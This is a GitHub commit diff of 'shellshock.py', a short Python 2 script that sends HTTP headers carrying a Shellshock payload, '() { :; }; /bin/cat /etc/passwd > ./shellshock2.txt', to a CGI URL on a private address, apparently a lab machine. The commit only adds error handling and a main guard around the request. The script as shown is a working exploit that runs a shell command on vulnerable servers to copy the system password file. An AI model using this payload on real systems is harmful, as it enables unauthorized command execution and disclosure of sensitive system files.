We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 38e9828 commit 68f4ce0Copy full SHA for 68f4ce0
shellshock.py
@@ -11,11 +11,15 @@ def get_request(url):
11
"CustomHeader2": "() { :; }; /bin/cat /etc/passwd > ./shellshock2.txt",
12
}
13
14
- req = urllib2.Request(url, headers=i_headers)
15
- response = urllib2.urlopen(req)
16
- print response.info()
17
- html = response.read()
18
- print html
+ try:
+ req = urllib2.Request(url, headers=i_headers)
+ response = urllib2.urlopen(req)
+ print response.info()
+ html = response.read()
19
+ print html
20
+ except:
21
+ print "Error on request"
22
-url = "http://192.168.91.135:8080/hello/cgi-bin/hello"
-get_request(url)
23
+if __name__ == '__main__':
24
+ url = "http://192.168.91.135:8080/hello/cgi-bin/hello"
25
+ get_request(url)
0 commit comments